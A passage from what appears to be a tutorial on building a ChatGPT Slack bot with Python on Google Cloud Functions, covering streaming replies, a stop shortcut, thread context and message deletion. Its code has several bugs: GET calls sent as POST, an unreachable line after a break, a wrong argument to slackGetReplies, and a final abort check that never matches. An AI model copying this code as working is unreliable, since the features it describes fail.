response['ts'] return Nonedef slackRequest(endpoint, method, payload): url = \"https://slack.com/api\"+endpoint headers = { \"Authorization\": f\"Bearer {SLACK_BOT_TOKEN}\", \"Content-Type\": \"application/json\", } response = None if method == \"POST\": response = requests.post(url, headers=headers, data=json.dumps(payload)) elif method == \"GET\": response = requests.post(url, headers=headers) if response and response.status_code == 200: result = response.json() return result else: return NoneBack to Slack to test:Now you can perform Q&A similar to ChatGPT and OpenAI API.Add Stream Response Interruption Feature to Save TokensThere are many ways to implement this. For example, if a user inputs a new message in the same thread before the previous response is complete, it interrupts the previous response, or by clicking a message to add an interruption shortcut.This article uses the example of adding a “Message Interruption” shortcut.Regardless of the interruption method, the core principle is the same. Since we do not have a database to store generated messages and message status information, the implementation relies on the metadata field of Slack messages (which can store custom information within specified messages).When using the chat.update API Endpoint, if the call is successful, it will return the text content and metadata of the current message. Therefore, in the above OpenAI API Stream -> Slack Update Message code, we add a judgment to check if the metadata in the response of the modification request has an “interruption” mark. If it does, it interrupts the OpenAI Stream Response.First, you need to add a Slack App message shortcutGo to the Slack App management interface, find the “Interactivity & Shortcuts” section, click to enable it, and use the same Cloud Functions URL.Click “Create New Shortcut” to add a new message shortcut.Select “On messages”. Name: Stop OpenAI API Response Short Description: Stop OpenAI API Response Callback ID: abort_openai_api (for program identification, can be customized)Click “Create” to complete the creation, and finally remember to click “Save Changes” at the bottom right to save the settings.Click “reinstall your app” at the top again to take effect.Back in Slack, click the “…” at the top right of the message, and the “Stop OpenAI API Response” shortcut will appear (clicking it at this time has no effect).When the user presses the Shortcut on the message, an Event Json Payload will be sent:{ \"type\": \"message_action\", \"token\": \"XXXXXX\", \"action_ts\": \"1706188005.387646\", \"team\": { \"id\": \"XXXXXX\", \"domain\": \"XXXXXX-XXXXXX\" }, \"user\": { \"id\": \"XXXXXX\", \"username\": \"zhgchgli\", \"team_id\": \"XXXXXX\", \"name\": \"zhgchgli\" }, \"channel\": { \"id\": \"XXXXXX\", \"name\": \"directmessage\" }, \"is_enterprise_install\": false, \"enterprise\": null, \"callback_id\": \"abort_openai_api\", \"trigger_id\": \"XXXXXX\", \"response_url\": \"https://hooks.slack.com/app/XXXXXX/XXXXXX/XXXXXX\", \"message_ts\": \"1706178957.161109\", \"message\": { \"bot_id\": \"XXXXXX\", \"type\": \"message\", \"text\": \"The English translation of 高麗菜包 is \\\"cabbage wrap.\\\" If you are using it as a dish name, it may sometimes be named specifically according to the contents of the dish, such as \\\"pork cabbage wrap\\\" or \\\"vegetable cabbage wrap.\\\"\", \"user\": \"XXXXXX\", \"ts\": \"1706178957.161109\", \"app_id\": \"XXXXXX\", \"blocks\": [ { \"type\": \"rich_text\", \"block_id\": \"eKgaG\", \"elements\": [ { \"type\": \"rich_text_section\", \"elements\": [ { \"type\": \"text\", \"text\": \"The English translation of 高麗菜包 is \\\"cabbage wrap.\\\" If you are using it as a dish name, it may sometimes be named specifically according to the contents of the dish, such as \\\"pork cabbage wrap\\\" or \\\"vegetable cabbage wrap.\\\"\" } ] } ] } ], \"team\": \"XXXXXX\", \"bot_profile\": { \"id\": \"XXXXXX\", \"deleted\": false, \"name\": \"Rick C-137\", \"updated\": 1706001605, \"app_id\": \"XXXXXX\", \"icons\": { \"image_36\": \"https://avatars.slack-edge.com/2024-01-23/6517244582244_0c708dfa3f893c72d4c2_36.png\", \"image_48\": \"https://avatars.slack-edge.com/2024-01-23/6517244582244_0c708dfa3f893c72d4c2_48.png\", \"image_72\": \"https://avatars.slack-edge.com/2024-01-23/6517244582244_0c708dfa3f893c72d4c2_72.png\" }, \"team_id\": \"XXXXXX\" }, \"edited\": { \"user\": \"XXXXXX\", \"ts\": \"1706187989.000000\" }, \"thread_ts\": \"1706178832.102439\", \"parent_user_id\": \"XXXXXX\" }}Complete Cloud Functions main.py:import functions_frameworkimport requestsimport asyncioimport jsonimport timefrom openai import AsyncOpenAIOPENAI_API_KEY = \"OPENAI API KEY\"SLACK_BOT_TOKEN = \"Bot User OAuth Token\"# The OPENAI API Model used# https://platform.openai.com/docs/modelsOPENAI_MODEL = \"gpt-4-1106-preview\"@functions_framework.httpdef hello_http(request): request_json = request.get_json(silent=True) request_args = request.args request_headers = request.headers # Shortcut Event will be given from post payload field # https://api.slack.com/reference/interaction-payloads/shortcuts payload = request.form.get('payload') if payload is not None: payload = json.loads(payload) # You can simply use print to record runtime logs, which can be viewed in Logs # For advanced Logging Level usage, refer to: https://cloud.google.com/logging/docs/reference/libraries print(payload) # Due to the nature of FAAS (Cloud Functions), if the service is not called for a long time, it will enter a cold start when called again, which may not respond within the 3-second limit set by Slack # Additionally, the OpenAI API request takes a certain amount of time to respond (depending on the response length, it may take nearly 1 minute to complete) # If Slack does not receive a response within the time limit, it will consider the request lost and will call again # This will cause repeated requests and responses, so we can set X-Slack-No-Retry: 1 in the Response Headers to inform Slack not to retry even if it does not receive a response within the time limit headers = {'X-Slack-No-Retry': 1} # If it is a Slack Retry request...ignore it if request_headers and 'X-Slack-Retry-Num' in request_headers: return ('OK!', 200, headers) # Slack App Event Subscriptions Verify # https://api.slack.com/events/url_verification if request_json and 'type' in request_json and request_json['type'] == 'url_verification': challenge = \"\" if 'challenge' in request_json: challenge = request_json['challenge'] return (challenge, 200, headers) # Handle Event Subscriptions Events... if request_json and 'event' in request_json and 'type' in request_json['event']: # If the Event source is the App and App ID == Slack App ID, it means the event was triggered by the Slack App itself # Ignore and do not process, otherwise it will fall into an infinite loop Slack App -> Cloud Functions -> Slack App -> Cloud Functions... if 'api_app_id' in request_json and 'app_id' in request_json['event'] and request_json['api_app_id'] == request_json['event']['app_id']: return ('OK!', 200, headers) # Event name, for example: message (related to messages), app_mention (mentioned)... eventType = request_json['event']['type'] # SubType, for example: message_changed (edited message), message_deleted (deleted message)... # New messages do not have Sub Type eventSubType = None if 'subtype' in request_json['event']: eventSubType = request_json['event']['subtype'] if eventType == 'message': # Messages with Sub Type are edited, deleted, replied to... # Ignore and do not process if eventSubType is not None: return (\"OK!\", 200, headers) # Message sender of the Event eventUser = request_json['event']['user'] # Channel of the Event message eventChannel = request_json['event']['channel'] # Content of the Event message eventText = request_json['event']['text'] # TS (message ID) of the Event message eventTS = request_json['event']['event_ts'] # TS (message ID) of the parent message in the thread of the Event message # Only new messages in the thread will have this data eventThreadTS = None if 'thread_ts' in request_json['event']: eventThreadTS = request_json['event']['thread_ts'] openAIRequest(eventChannel, eventTS, eventThreadTS, eventText) return (\"OK!\", 200, headers) # Handle Shortcut if payload and 'type' in payload: payloadType = payload['type'] # If it is a message Shortcut if payloadType == 'message_action': print(payloadType) callbackID = None channel = None ts = None text = None triggerID = None if 'callback_id' in payload: callbackID = payload['callback_id'] if 'channel' in payload: channel = payload['channel']['id'] if 'message' in payload: ts = payload['message']['ts'] text = payload['message']['text'] if 'trigger_id' in payload: triggerID = payload['trigger_id'] if channel is not None and ts is not None and text is not None: # If it is the Stop OpenAI API Response Generation Shortcut if callbackID == \"abort_openai_api\": slackUpdateMessage(channel, ts, {\"event_type\": \"aborted\", \"event_payload\": {}}, text) if triggerID is not None: slackOpenModal(triggerID, callbackID, \"Successfully stopped OpenAI API response generation!\") return (\"OK!\", 200, headers) return (\"OK!\", 200, headers) return (\"Access Denied!\", 400, headers)def openAIRequest(eventChannel, eventTS, eventThreadTS, eventText): # Set Custom instructions # Thanks to colleague (https://twitter.com/je_suis_marku) for support messages = [ {\"role\": \"system\", \"content\": \"I can only understand Traditional Chinese from Taiwan and English\"}, {\"role\": \"system\", \"content\": \"I cannot understand Simplified Chinese\"}, {\"role\": \"system\", \"content\": \"If I speak Chinese, I will respond in Traditional Chinese from Taiwan, and it must conform to common Taiwanese usage.\"}, {\"role\": \"system\", \"content\": \"If I speak English, I will respond in English.\"}, {\"role\": \"system\", \"content\": \"Do not respond with pleasantries.\"}, {\"role\": \"system\", \"content\": \"There should be a space between Chinese and English. There should be a space between Chinese characters and any other language characters, including numbers and emojis.\"}, {\"role\": \"system\", \"content\": \"If you don't know the answer, or your knowledge is outdated, please search online before answering.\"}, {\"role\": \"system\", \"content\": \"I will tip you 200 USD, if you answer well.\"} ] messages.append({ \"role\": \"user\", \"content\": eventText }) replyMessageTS = slackRequestPostMessage(eventChannel, eventTS, \"Generating response...\") asyncio.run(openAIRequestAsync(eventChannel, replyMessageTS, messages))async def openAIRequestAsync(eventChannel, eventTS, messages): client = AsyncOpenAI( api_key=OPENAI_API_KEY, ) # Stream Response stream = await client.chat.completions.create( model=OPENAI_MODEL, messages=messages, stream=True, ) result = \"\" try: debounceSlackUpdateTime = None async for chunk in stream: result += chunk.choices[0].delta.content or \"\" # Update the message every 0.8 seconds to avoid frequent calls to the Slack Update Message API, which may fail or waste Cloud Functions request counts if debounceSlackUpdateTime is None or time.time() - debounceSlackUpdateTime >= 0.8: response = slackUpdateMessage(eventChannel, eventTS, None, result+\"...\") debounceSlackUpdateTime = time.time() # If the message has metadata & metadata event_type == aborted, it means the response has been marked as terminated by the user if response and 'ok' in response and response['ok'] == True and 'message' in response and 'metadata' in response['message'] and 'event_type' in response['message']['metadata'] and response['message']['metadata']['event_type'] == \"aborted\": break result += \"...*[Terminated]*\" # The message has been deleted elif response and 'ok' in response and response['ok'] == False and 'error' in response and response['error'] == \"message_not_found\": break await stream.close() except Exception as e: print(e) result += \"...*[Error occurred]*\" slackUpdateMessage(eventChannel, eventTS, None, result)### Slack ###def slackOpenModal(trigger_id, callback_id, text): slackRequest(\"/views.open\", \"POST\", { \"trigger_id\": trigger_id, \"view\": { \"type\": \"modal\", \"callback_id\": callback_id, \"title\": { \"type\": \"plain_text\", \"text\": \"Prompt\" }, \"blocks\": [ { \"type\": \"section\", \"text\": { \"type\": \"mrkdwn\", \"text\": text } } ] } })def slackUpdateMessage(channel, ts, metadata, text): endpoint = \"/chat.update\" payload = { \"channel\": channel, \"ts\": ts } if metadata is not None: payload['metadata'] = metadata payload['text'] = text response = slackRequest(endpoint, \"POST\", payload) return responsedef slackRequestPostMessage(channel, target_ts, text): endpoint = \"/chat.postMessage\" payload = { \"channel\": channel, \"text\": text, } if target_ts is not None: payload['thread_ts'] = target_ts response = slackRequest(endpoint, \"POST\", payload) if response is not None and 'ts' in response: return response['ts'] return Nonedef slackRequest(endpoint, method, payload): url = \"https://slack.com/api\"+endpoint headers = { \"Authorization\": f\"Bearer {SLACK_BOT_TOKEN}\", \"Content-Type\": \"application/json\", } response = None if method == \"POST\": response = requests.post(url, headers=headers, data=json.dumps(payload)) elif method == \"GET\": response = requests.post(url, headers=headers) if response and response.status_code == 200: result = response.json() return result else: return NoneBack to Slack to test:Success! When we complete the Stop OpenAI API Shortcut, the ongoing response will be terminated, and it will respond with [Terminated]. Similarly, you can also create a Shortcut to delete messages, implementing the deletion of messages sent by the Slack App.Adding Context Functionality in the Same ThreadIf you send a new message in the same thread, it can be considered a follow-up question to the same issue. At this point, you can add a feature to supplement the new prompt with the previous conversation content.Add slackGetReplies & Fill Content into OpenAI API Prompt:Complete Cloud Functions main.py:import functions_frameworkimport requestsimport asyncioimport jsonimport timefrom openai import AsyncOpenAIOPENAI_API_KEY = \"OPENAI API KEY\"SLACK_BOT_TOKEN = \"Bot User OAuth Token\"# The OPENAI API Model used# https://platform.openai.com/docs/modelsOPENAI_MODEL = \"gpt-4-1106-preview\"@functions_framework.httpdef hello_http(request): request_json = request.get_json(silent=True) request_args = request.args request_headers = request.headers # Event from Shortcut will be given in post payload field # https://api.slack.com/reference/interaction-payloads/shortcuts payload = request.form.get('payload') if payload is not None: payload = json.loads(payload) # You can simply use print to record runtime logs, which can be viewed in Logs # For advanced Logging Level usage, refer to: https://cloud.google.com/logging/docs/reference/libraries print(payload) # Due to the nature of FAAS (Cloud Functions), if the service is not called for a long time, it will enter a cold start when called again, which may not respond within Slack's 3-second limit # Plus, OpenAI API requests take a certain amount of time to respond (depending on the response length, it may take up to 1 minute to complete) # If Slack does not receive a response within the time limit, it will consider the request lost and will call again # This can cause duplicate requests and responses, so we can set X-Slack-No-Retry: 1 in the Response Headers to inform Slack not to retry even if it does not receive a response within the time limit headers = {'X-Slack-No-Retry':1} # If it's a Slack Retry request...ignore it if request_headers and 'X-Slack-Retry-Num' in request_headers: return ('OK!', 200, headers) # Slack App Event Subscriptions Verify # https://api.slack.com/events/url_verification if request_json and 'type' in request_json and request_json['type'] == 'url_verification': challenge = \"\" if 'challenge' in request_json: challenge = request_json['challenge'] return (challenge, 200, headers) # Handle Event Subscriptions Events... if request_json and 'event' in request_json and 'type' in request_json['event']: apiAppID = None if 'api_app_id' in request_json: apiAppID = request_json['api_app_id'] # If the event source is the App and App ID == Slack App ID, it means the event was triggered by the Slack App itself # Ignore it to avoid infinite loops Slack App -> Cloud Functions -> Slack App -> Cloud Functions... if 'app_id' in request_json['event'] and apiAppID == request_json['event']['app_id']: return ('OK!', 200, headers) # Event name, e.g., message (related to messages), app_mention (mentioned).... eventType = request_json['event']['type'] # SubType, e.g., message_changed (edited message), message_deleted (deleted message)... # New messages do not have a Sub Type eventSubType = None if 'subtype' in request_json['event']: eventSubType = request_json['event']['subtype'] if eventType == 'message': # Messages with Sub Type are edited, deleted, or replied to... # Ignore them if eventSubType is not None: return (\"OK!\", 200, headers) # Message sender of the Event eventUser = request_json['event']['user'] # Channel of the Event message eventChannel = request_json['event']['channel'] # Content of the Event message eventText = request_json['event']['text'] # TS (message ID) of the Event message eventTS = request_json['event']['event_ts'] # TS (message ID) of the parent message in the thread of the Event message # Only new messages in the thread will have this data eventThreadTS = None if 'thread_ts' in request_json['event']: eventThreadTS = request_json['event']['thread_ts'] openAIRequest(apiAppID, eventChannel, eventTS, eventThreadTS, eventText) return (\"OK!\", 200, headers) # Handle Shortcut (message) if payload and 'type' in payload: payloadType = payload['type'] # If it's a message Shortcut if payloadType == 'message_action': callbackID = None channel = None ts = None text = None triggerID = None if 'callback_id' in payload: callbackID = payload['callback_id'] if 'channel' in payload: channel = payload['channel']['id'] if 'message' in payload: ts = payload['message']['ts'] text = payload['message']['text'] if 'trigger_id' in payload: triggerID = payload['trigger_id'] if channel is not None and ts is not None and text is not None: # If it's the Stop OpenAI API response Shortcut if callbackID == \"abort_openai_api\": slackUpdateMessage(channel, ts, {\"event_type\": \"aborted\", \"event_payload\": { }}, text) if triggerID is not None: slackOpenModal(triggerID, callbackID, \"Successfully stopped OpenAI API response!\") return (\"OK!\", 200, headers) return (\"Access Denied!\", 400, headers)def openAIRequest(apiAppID, eventChannel, eventTS, eventThreadTS, eventText): # Set Custom instructions # Thanks to my colleague (https://twitter.com/je_suis_marku) for the support messages = [ {\"role\": \"system\", \"content\": \"I can only understand Traditional Chinese and English\"}, {\"role\": \"system\", \"content\": \"I cannot understand Simplified Chinese\"}, {\"role\": \"system\", \"content\": \"If I speak Chinese, I will respond in Traditional Chinese used in Taiwan, and it must conform to common usage in Taiwan.\"}, {\"role\": \"system\", \"content\": \"If I speak English, I will respond in English.\"}, {\"role\": \"system\", \"content\": \"Do not respond with pleasantries.\"}, {\"role\": \"system\", \"content\": \"There should be a space between Chinese and English. There should be a space between Chinese characters and any other language characters, including numbers and emojis.\"}, {\"role\": \"system\", \"content\": \"If you don't know the answer, or if your knowledge is outdated, please search online before answering.\"}, {\"role\": \"system\", \"content\": \"I will tip you 200 USD if you answer well.\"} ] if eventThreadTS is not None: threadMessages = slackGetReplies(eventTS, eventThreadTS) if threadMessages is not None: for threadMessage in threadMessages: appID = None if 'app_id' in threadMessage: appID = threadMessage['app_id'] threadMessageText = threadMessage['text'] threadMessageTs = threadMessage['ts'] # If it's a Slack App (OpenAI API Response), mark it as assistant if appID and appID == apiAppID: messages.append({ \"role\": \"assistant\", \"content\": threadMessageText }) else: # Mark the user's message content as user messages.append({ \"role\": \"user\", \"content\": threadMessageText }) messages.append({ \"role\": \"user\", \"content\": eventText }) replyMessageTS = slackRequestPostMessage(eventChannel, eventTS, \"Generating response...\") asyncio.run(openAIRequestAsync(eventChannel, replyMessageTS, messages))async def openAIRequestAsync(eventChannel, eventTS, messages): client = AsyncOpenAI( api_key=OPENAI_API_KEY, ) # Stream Response stream = await client.chat.completions.create( model=OPENAI_MODEL, messages=messages, stream=True, ) result = \"\" try: debounceSlackUpdateTime = None async for chunk in stream: result += chunk.choices[0].delta.content or \"\" # Update the message every 0.8 seconds to avoid frequent calls to the Slack Update Message API, which may fail or waste Cloud Functions requests if debounceSlackUpdateTime is None or time.time() - debounceSlackUpdateTime >= 0.8: response = slackUpdateMessage(eventChannel, eventTS, None, result+\"...\") debounceSlackUpdateTime = time.time() # If the message has metadata & metadata event_type == aborted, it means the response has been marked as terminated by the user if response and 'ok' in response and response['ok'] == True and 'message' in response and 'metadata' in response['message'] and 'event_type' in response['message']['metadata'] and response['message']['metadata']['event_type'] == \"aborted\": break result += \"...*[Terminated]*\" # If the message has been deleted elif response and 'ok' in response and response['ok'] == False and 'error' in response and response['error'] == \"message_not_found\": break await stream.close() except Exception as e: print(e) result += \"...*[Error occurred]*\" slackUpdateMessage(eventChannel, eventTS, None, result)### Slack ###def slackGetReplies(channel, ts): endpoint = \"/conversations.replies?channel=\"+channel+\"&ts=\"+ts response = slackRequest(endpoint, \"GET\", None) if response is not None and 'messages' in response: return response['messages'] return Nonedef slackOpenModal(trigger_id, callback_id, text): slackRequest(\"/views.open\", \"POST\", { \"trigger_id\": trigger_id, \"view\": { \"type\": \"modal\", \"callback_id\": callback_id, \"title\": { \"type\": \"plain_text\", \"text\": \"Prompt\" }, \"blocks\": [ { \"type\": \"section\", \"text\": { \"type\": \"mrkdwn\", \"text\": text } } ] } })def slackUpdateMessage(channel, ts, metadata, text): endpoint = \"/chat.update\" payload = { \"channel\": channel, \"ts\": ts } if metadata is not None: payload['metadata'] = metadata payload['text'] = text response = slackRequest(endpoint, \"POST\", payload) return responsedef slackRequestPostMessage(channel, target_ts, text): endpoint = \"/chat.postMessage\" payload = { \"channel\": channel, \"text\": text, } if target_ts is not None: payload['thread_ts'] = target_ts response = slackRequest(endpoint, \"POST\", payload) if response is not None and 'ts' in response: return response['ts'] return Nonedef slackRequest(endpoint, method, payload): url = \"https://slack.com/api\"+endpoint headers = { \"Authorization\": f\"Bearer {SLACK_BOT_TOKEN}\", \"Content-Type\": \"application/json\", } response = None if method == \"POST\": response = requests.post(url, headers=headers, data=json.dumps(payload)) elif method == \"GET\": response = requests.post(url, headers=headers) if response and response.status_code == 200: result = response.json() return result else: return NoneBack to Slack to test: The left image shows a new conversation when asking a follow-up question without adding Context. The right image shows that with Context added, it can understand the entire conversation context and the new question.Done!At this point, we have built a ChatGPT (via OpenAI API) Slack App Bot. You can also refer to Slack API and OpenAI API Custom instructions to integrate them into Cloud Functions Python programs according to your needs. For example, training a channel to answer team questions and find project documents, a channel dedicated to translation, a channel dedicated to data analysis, etc.SupplementMarking the bot to answer questions outside of 1:1 messages You can mark the bot to answer questions in any channel (the bot needs to be added to the channel).First, you need to add the app_mention Event Subscription:After adding, click “Save Changes” to save, then “reinstall your app” to complete.In the main.py program mentioned above, in the #Handle Event Subscriptions Events… Code Block, add a new Event Type judgment: # Mention Event (@SlackApp hello) if eventType == 'app_mention': # Event message sender eventUser = request_json['event']['user'] # Event message channel eventChannel = request_json['event']['channel'] # Event message content, remove the leading tag string <@SLACKAPPID> eventText = re.sub(r\"<@\\w+>\\W*\", \"\", request_json['event']['text']) # Event message TS (message ID) eventTS = request_json['event']['event_ts'] # Parent message TS of the event message thread (message ID) # Only new messages in the thread will have this data eventThreadTS = None if 'thread_ts' in request_json['event']: eventThreadTS = request_json['event']['thread_ts'] openAIRequest(apiAppID, eventChannel, eventTS, eventThreadTS, eventText) return (\"OK!\", 200, headers)After deployment, it will be completed.Deleting messages sent by Slack AppYou cannot directly delete messages sent by Slack App on Slack. You can refer to the above “ Stop OpenAI API Response “ Shortcut method, and add a “delete message” Shortcut.And in the Cloud Functions main.py program:In the # Handle Shortcut Code Block, add a callback_id judgment. If it equals the “delete message” Shortcut Callback ID you defined, pass the parameters into the following method to delete:def slackDeleteMessage(channel, ts): endpoint = \"/chat.delete\" payload = { \"channel\": channel, \"ts\": ts } response = slackRequest(endpoint, \"POST\", payload) return responseSlack App Not Responding Check if the Token is correct Check Cloud Functions Logs for errors Ensure Cloud Functions are fully deployed Verify if the Slack App is in the channel you are asking questions in (if it’s not a 1:1 conversation with the Slack App, you need to add the bot to the channel for it to work) Log the Slack API Response under the SlackRequest methodCloud Functions Public URL Not Secure Enough If you are concerned about the security of the Cloud Functions URL, you can add a query token for verificationSAFE_ACCESS_TOKEN = \"nF4JwxfG9abqPZCJnBerwwhtodC28BuC\"@functions_framework.httpdef hello_http(request): request_json = request.get_json(silent=True) request_args = request.args request_headers = request.headers # Verify if the token parameter is valid if not(request_args and 'token' in request_args and request_args['token'] == SAFE_ACCESS_TOKEN): return ('', 400, headers)Cloud Functions Related IssuesBilling MethodDifferent regions, CPU, RAM, capacity, traffic… have different prices. Please refer to the official pricing table.The free tier is as follows: (2024/02/15)Cloud Functions offers a permanent free tier for compute time resources,including allocations of GB-seconds and GHz-seconds. In addition to 2 million invocations,this free tier also provides 400,000 GB-seconds and 200,000 GHz-seconds of compute time,and 5 GB of internet data transfer per month.The usage quota of the free tier is calculated in equivalent USD amounts at the above tier 1 prices.Regardless of whether the function execution region uses tier 1 and/or tier 2 prices, the system will allocate the equivalent USD amount to you.However, when deducting the free tier quota, the system will use the tier (tier 1 or tier 2) of the function execution region as the standard.Please note that even if you are using the free tier, you must have a valid billing account. btw. Slack App is free, you don’t necessarily need Premium to use it.Slack App Response Too Slow, Timeout(Excluding the issue of slow response during OpenAI API peak times), if it’s a Cloud Function bottleneck, you can expand the settings on the first page of the Cloud Function editor:You can adjust CPU, RAM, Timeout time, Concurrent number… to improve request processing speed. *But it may incur additional costsDevelopment Stage Testing & DebugClick “Test Function” to open a Cloud Shell window in the bottom toolbar. Wait about 3–5 minutes (the first startup takes longer), and after the build is completed and the following authorization is agreed upon:Once you see “Function is ready to test,” you can click “Run Test” to execute the method for debugging.You can use the “Triggering event” block on the right to input a JSON Body that will be passed into the request_json parameter for testing, or directly modify the program to inject a test object for testing. *Please note that Cloud Shell/Cloud Run may incur additional costs. It is recommended to run a test before deploying (Deploy) to ensure that the build can succeed.Build Failed, What to Do When Code Disappears?If you accidentally write incorrect code causing Cloud Function Deploy Build Failed, an error message will appear. At this point, clicking “EDIT AND REDEPLOY” to return to the editor will find that the code you just changed is gone!!!No need to worry, at this point, click “Source Code” on the left and select “Last Failed Deployment” to restore the code that just Build Failed:View Runtime print Logs *Please note that Cloud Logging and Querying Logs may incur additional costs.Final Code (Python 3.8)Cloud Functionsmain.py:import functions_frameworkimport requestsimport reimport asyncioimport jsonimport timefrom openai import AsyncOpenAIOPENAI_API_KEY = \"OPENAI API KEY\"SLACK_BOT_TOKEN = \"Bot User OAuth Token\"# Custom defined security verification Token# The URL must carry the ?token=SAFE_ACCESS_TOKEN parameter to accept the request SAFE_ACCESS_TOKEN = \"nF4JwxfG9abqPZCJnBerwwhtodC28BuC\"# The OPENAI API Model used# https://platform.openai.com/docs/modelsOPENAI_MODEL = \"gpt-4-1106-preview\"@functions_framework.httpdef hello_http(request): request_json = request.get_json(silent=True) request_args = request.args request_headers = request.headers # Shortcut events will be given from the post payload field # https://api.slack.com/reference/interaction-payloads/shortcuts payload = request.form.get('payload') if payload is not None: payload = json.loads(payload) # You can simply use print to record runtime logs, which can be viewed in Logs # For advanced Logging Level usage, refer to: https://cloud.google.com/logging/docs/reference/libraries # print(payload) # Due to the nature of FAAS (Cloud Functions), if the service is not called for a long time, it will enter a cold start when called again, which may not respond within Slack's 3-second limit # Additionally, it takes a certain amount of time for the OpenAI API to respond (depending on the response length, it may take up to 1 minute to complete) # If Slack does not receive a response within the time limit, it will consider the request lost and will call again # This will cause repeated requests and responses, so we can set X-Slack-No-Retry: 1 in the Response Headers to inform Slack that even if it does not receive a response within the time limit, it does not need to retry headers = {'X-Slack-No-Retry':1} # Verify if the token parameter is valid if not(request_args and 'token' in request_args and request_args['token'] == SAFE_ACCESS_TOKEN): return ('', 400, headers) # If it is a Slack Retry request...ignore if request_headers and 'X-Slack-Retry-Num' in request_headers: return ('OK!', 200, headers) # Slack App Event Subscriptions Verify # https://api.slack.com/events/url_verification if request_json and 'type' in request_json and request_json['type'] == 'url_verification': challenge = \"\" if 'challenge' in request_json: challenge = request_json['challenge'] return (challenge, 200, headers) # Handle Event Subscriptions Events... if request_json and 'event' in request_json and 'type' in request_json['event']: apiAppID = None if 'api_app_id' in request_json: apiAppID = request_json['api_app_id'] # If the event source is the App and the App ID == Slack App ID, it means the event was triggered by its own Slack App # Ignore and do not process, otherwise it will fall into an infinite loop Slack App -> Cloud Functions -> Slack App -> Cloud Functions... if 'app_id' in request_json['event'] and apiAppID == request_json['event']['app_id']: return ('OK!', 200, headers) # Event name, for example: message (related to messages), app_mention (mentioned).... eventType = request_json['event']['type'] # SubType, for example: message_changed (edited message), message_deleted (deleted message)... # New messages do not have a Sub Type eventSubType = None if 'subtype' in request_json['event']: eventSubType = request_json['event']['subtype'] # Message type Event if eventType == 'message': # Messages with Sub Type are edited, deleted, replied to... # Ignore and do not process if eventSubType is not None: return (\"OK!\", 200, headers) # Event message sender eventUser = request_json['event']['user'] # Event message channel eventChannel = request_json['event']['channel'] # Event message content eventText = request_json['event']['text'] # Event message TS (message ID) eventTS = request_json['event']['event_ts'] # Event message thread parent message TS (message ID) # Only new messages in the thread will have this data eventThreadTS = None if 'thread_ts' in request_json['event']: eventThreadTS = request_json['event']['thread_ts'] openAIRequest(apiAppID, eventChannel, eventTS, eventThreadTS, eventText) return (\"OK!\", 200, headers) # Mention type Event (@SlackApp hello) if eventType == 'app_mention': # Event message sender eventUser = request_json['event']['user'] # Event message channel eventChannel = request_json['event']['channel'] # Event message content, remove the leading tag string <@SLACKAPPID> eventText = re.sub(r\"<@\\w+>\\W*\", \"\", request_json['event']['text']) # Event message TS (message ID) eventTS = request_json['event']['event_ts'] # Event message thread parent message TS (message ID) # Only new messages in the thread will have this data eventThreadTS = None if 'thread_ts' in request_json['event']: eventThreadTS = request_json['event']['thread_ts'] openAIRequest(apiAppID, eventChannel, eventTS, eventThreadTS, eventText) return (\"OK!\", 200, headers) # Handle Shortcut (message) if payload and 'type' in payload: payloadType = payload['type'] # If it is a message Shortcut if payloadType == 'message_action': callbackID = None channel = None ts = None text = None triggerID = None if 'callback_id' in payload: callbackID = payload['callback_id'] if 'channel' in payload: channel = payload['channel']['id'] if 'message' in payload: ts = payload['message']['ts'] text = payload['message']['text'] if 'trigger_id' in payload: triggerID = payload['trigger_id'] if channel is not None and ts is not None and text is not None: # If it is a stop OpenAI API response Shortcut if callbackID == \"abort_openai_api\": slackUpdateMessage(channel, ts, {\"event_type\": \"aborted\", \"event_payload\": { }}, text) if triggerID is not None: slackOpenModal(triggerID, callbackID, \"Successfully stopped OpenAI API response!\") return (\"OK!\", 200, headers) # If it is a delete message if callbackID == \"delete_message\": slackDeleteMessage(channel, ts) if triggerID is not None: slackOpenModal(triggerID, callbackID, \"Successfully deleted Slack App message!\") return (\"OK!\", 200, headers) return (\"Access Denied!\", 400, headers)def openAIRequest(apiAppID, eventChannel, eventTS, eventThreadTS, eventText): # Set Custom instructions # Thanks to a colleague (https://twitter.com/je_suis_marku) for support messages = [ {\"role\": \"system\", \"content\": \"I can only understand Traditional Chinese and English\"}, {\"role\": \"system\", \"content\": \"I do not understand Simplified Chinese\"}, {\"role\": \"system\", \"content\": \"If I speak Chinese, I will respond in Traditional Chinese, and it must conform to common Taiwanese usage.\"}, {\"role\": \"system\", \"content\": \"If I speak English, I will respond in English.\"}, {\"role\": \"system\", \"content\": \"Do not respond with pleasantries.\"}, {\"role\": \"system\", \"content\": \"There should be a space between Chinese and English. There should be a space between Chinese characters and any other language characters, including numbers and emojis.\"}, {\"role\": \"system\", \"content\": \"If you don't know the answer, or if your knowledge is outdated, please search online before answering.\"}, {\"role\": \"system\", \"content\": \"I will tip you 200 USD, if you answer well.\"} ] if eventThreadTS is not None: threadMessages = slackGetReplies(eventChannel, eventThreadTS) if threadMessages is not None: for threadMessage in threadMessages: appID = None if 'app_id' in threadMessage: appID = threadMessage['app_id'] threadMessageText = threadMessage['text'] threadMessageTs = threadMessage['ts'] # If it is a Slack App (OpenAI API Response), mark it as assistant if appID and appID == apiAppID: messages.append({ \"role\": \"assistant\", \"content\": threadMessageText }) else: # User's message content marked as user messages.append({ \"role\": \"user\", \"content\": threadMessageText }) messages.append({ \"role\": \"user\", \"content\": eventText }) replyMessageTS = slackRequestPostMessage(eventChannel, eventTS, \"Generating response...\") asyncio.run(openAIRequestAsync(eventChannel, replyMessageTS, messages))async def openAIRequestAsync(eventChannel, eventTS, messages): client = AsyncOpenAI( api_key=OPENAI_API_KEY, ) # Stream Response stream = await client.chat.completions.create( model=OPENAI_MODEL, messages=messages, stream=True, ) result = \"\" try: debounceSlackUpdateTime = None async for chunk in stream: result += chunk.choices[0].delta.content or \"\" # Update the message every 0.8 seconds to avoid frequent calls to the Slack Update Message API, which may cause failures or waste Cloud Functions request counts if debounceSlackUpdateTime is None or time.time() - debounceSlackUpdateTime >= 0.8: response = slackUpdateMessage(eventChannel, eventTS, None, result+\"...\") debounceSlackUpdateTime = time.time() # If the message has metadata & metadata event_type == aborted, it means this response has been marked as terminated by the user if response and 'ok' in response and response['ok'] == True and 'message' in response and 'metadata' in response['message'] and 'event_type' in response['message']['metadata'] == \"aborted\": break result += \"...*[Terminated]*\" # The message has been deleted elif response and 'ok' in response and response['ok'] == False and 'error' in response and response['error'] == \"message_not_found\": break await stream.close() except Exception as e: print(e) result += \"...*[Error occurred]*\" 